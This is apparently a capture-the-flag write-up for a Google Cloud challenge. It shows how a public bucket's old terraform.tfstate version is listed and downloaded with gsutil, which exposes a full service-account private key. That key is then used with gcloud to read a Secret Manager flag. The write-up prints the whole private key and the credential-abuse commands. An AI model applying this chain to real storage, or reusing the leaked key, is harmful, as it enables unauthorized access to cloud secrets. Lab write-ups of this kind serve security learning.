Stats
Number of Solves: 69
Pts: 320
Did I solve it by the end of the CTF? No đ˘
Challenge Description - đ
First phase: go to the link
https://storage.googleapis.com/hidden-state-prod-ctf-dc33/index.html
And you find this page
NextâŚ
Alright youâve opened everything and seen what you seen and understand the objective: which is to find some older version of a terraform file. How how? When you inspect the page, you find something interestingâŚ
What is this hint in the code? But also, google hosted terraform resources are often mapped to a path with structure /infra/directory
So I was able to get it by just asking Claude which told me to try and enumerate some common names and paths. YOW.
<!-- TODO: Clean up infra files before production deployment -->
<!-- previous deployment left terraform.tfstate in /infra/ directory -->
SO then you go to https://storage.googleapis.com/hidden-state-prod-ctf-dc33/infra/terraform.tfstate
And it spits out this json terraform of a page
What you want to pay attention to is the âserialâ key that has a value of 2. This means this terraform file is the second version. The ânotesâ value also confirms it as the hint implies that the previous version had a lot of information that got scrubbed.
So our new goal is to find this previous version that probably has the flag.
Since this is hosted on gcp, we can use the gcp cli to enumerate older versions.
⯠gsutil ls -a gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate
Running the command above returns 2 values:
gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460304936859
gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460305330281
The format is as follows: <gcp header>://<name of gcp thing>/<path/to/resource>/<file name>#<unique identifier that increments with later versions>
Here we can see 2 identifiers where one is earlier than the other.
I tried accessing the url value to see it via the browser and I couldnât see it because (learning moment), gcp deployments might have natural protections that will only pull the latest version. However, that doesnât stop you from grabbing a previous version another way. So hereâs what I did instead:
- Download version 1754460304936859 via the command below
gsutil cp gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460304936859 .
- View whatâs inside the downloaded terraform file. In my case, I ran
cat terraform.tfstate
to see the next hints
⯠cat terraform.tfstate | jq . â â at 10:42:46 PM
{
"lineage": "a1b2c3d4-e5f6-7890-1234-567890abcdef",
"outputs": {
"flag_hint": {
"type": "string",
"value": "The flag is stored in Secret Manager under the secret name 'hidden-state-flag'. Use this service account and authenticate with: gcloud auth activate-service-account --key-file=service_account_key.json. Then access the secret with: gcloud secrets versions access latest --secret=\"hidden-state-flag\" --project=hiddenstate-dc33. Note: This service account only has access to the specific 'hidden-state-flag' secret."
},
"infrastructure_status": {
"type": "string",
"value": "deployed"
},
"leaked_service_account_key": {
"sensitive": true,
"type": "string",
"value": "{\n \"type\": \"service_account\",\n \"project_id\": \"hiddenstate-dc33\",\n \"private_key_id\": \"8cb4fcb80ee3a7b09a05bf8bc7ba4f067fd725f5\",\n \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3xsk1gspvLfxg\\nhzkba394wduh0WjtZN9elWvnt6oH/JMPKhXaCwuMJHKj+bfaGWnqjmyOOad4le8y\\nmWDxAFWWzeoKI9/CPksiD7QdEqktJBzc++bPwLWjTqJ3N/Y7EsuHZaopf4/LpXBN\\nU6D6IGnnHOrRkmOqSnOY+oox5c0p8MGY3L9sfAKIafyfTt3QlLcdB1I5gBMUE+p+\\nbLj3m9t6SYHzmOLXJGt18TPB0R5EIVuxDN0aY/xYI0sJKeciEN66K7mVxlDETLZ4\\nQd9VAQrPrrpCE4sywSiaHcqYCsIeaEcPB9dY4ZuLs0uhxhOaeLCNZIb3VpGAF/ct\\nBGtw0LXzAgMBAAECggEAPvqNm5vtubodogrVJDNrpLtyg/rapXgLIEO+jdMgHsqM\\nrwayJF3ioC0haFY8ji5lYK9cPkU9whJHvaRYV17Q9fQs/zqaBNwKLWsKQ2hQt5qH\\nladxysJ0vLlG7eospMPlIcpSTRRc9+IDIUzGftE62avMQPOU2hfXk5ZQY5cn/vXg\\niZLnZRGTMohzPcfupxRWUXOg0UGRcnOVr7OzOV8i2ead24TRoPyf6VekZ20im79o\\nJ5rPZkQ//hjgquwDYS+KiNm79NH3vImyCcQTCWQwoLTEFm+VVcurRTzLJHiOu4gg\\nmc7UCIHs+y7bJCXoSw/bczVGmzF3i6cS35dJdZKZ+QKBgQDrW7U64Xto85o1ycKn\\nWjgePXNzsPzfV7iFYeohXKEHb9fl29vSG5QaeHSlpYJ/vb5LNpAlnYMX7SNM+k9a\\n4jpuaJRQUUhkelVHS4vUHtDlIrLueiO/XNoDFD6x1++AgXpXWfyOVS1OzF1URmP+\\nDJKH03TS3a5Z1Aqqketr0ehdPwKBgQDH5PVxvFXqP2IupkakeDhD9OHSJPQEVDgx\\n1mHA+zaw4DfeEORGUchF42xTlAgEJ966dBfOK4fySTpAyZOz0qbgM9C8mJRwsE8m\\no/M17Zl7HtPqM5DH0aa1tzQjDTuDCibktVXm5FYBY+7Ff+o5MqnSG6XX0WO0KmjB\\nVK/ef4bWTQKBgBnJ4bDC9i/IyXPtWJvXweBmYVki4oJibUCIOwxOxwI2mhSAo7SA\\n+xhvbHCeEw+GLey13NOST8P2YvDTWJCfy0E/ykiGr4T69o8qUvb6LW99/tcsoPAd\\n73F47Wm1PHP7O/mITakW4jEJKYzLbbdvjzq8y8czLSCAoG6SMJaO2IQnAoGBAKPP\\nAzyDRDzEWGc2J6ncQu+dm/kkAzwQ8EQXFOCafUURWXcHjKn7lw1+w2TyaGdPbPyK\\n6n8vuSZZz/0Ls5inRc1xaNtEhlCaiyJ1NHe7EA2PQ8YnH7xAGEfNrFIVI/HMvfaq\\ni4y9DaXyCNecbYsV84iU06E6nGQmZNYZ2k2RYCP5AoGBAIEHw7LEmvZYSbfdTuwS\\n3jQJu5C1v99W2xD2QQferggQjb9qmaZisfhrTeeTFJUfsj6/pSCXmumwcxmicg3h\\nTI/iPOnEOt2/koCiBz26iG/O3/pxKYlwDRzJ6cZfRJp85qgEw5t2/WGRP0dGSlJJ\\npovb0mLmR1FPjUD52KClH3mV\\n-----END PRIVATE KEY-----\\n\",\n \"client_email\": \"ctf-leaky-sa@hiddenstate-dc33.iam.gserviceaccount.com\",\n \"client_id\": \"101443721771953202426\",\n \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n \"token_uri\": \"https://oauth2.googleapis.com/token\",\n \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/ctf-leaky-sa%40hiddenstate-dc33.iam.gserviceaccount.com\",\n \"universe_domain\": \"googleapis.com\"\n}\n"
}
},
"resources": [],
"serial": 1,
"terraform_version": "1.2.0",
"version": 4
}
And under the âoutputsâ value, we know our next steps. Thank you to the ctf writer for making this challenge very straightforward.
-
Save the value of "leaked_service_account_key" in âvalueâ into a file locally called
service_account_key.json
-
Authenticate into the gcloud instance (
gcloud auth activate-service-account --key-file="service_account_key.json"
)
⯠gcloud auth activate-service-account --key-file="service_account_key.json"
Activated service account credentials for: [ctf-leaky-sa@hiddenstate-dc33.iam.gserviceaccount.com]
- Now that we are authenticated in, we can access the flag via:
⯠gcloud secrets versions access latest --secret=hidden-state-flag --project=hiddenstate-dc33
FLAG-{bvpkm3ed5onOA4dXSYGPMPfbpA7cfob0}
Et viola! youâve solved the ctf!!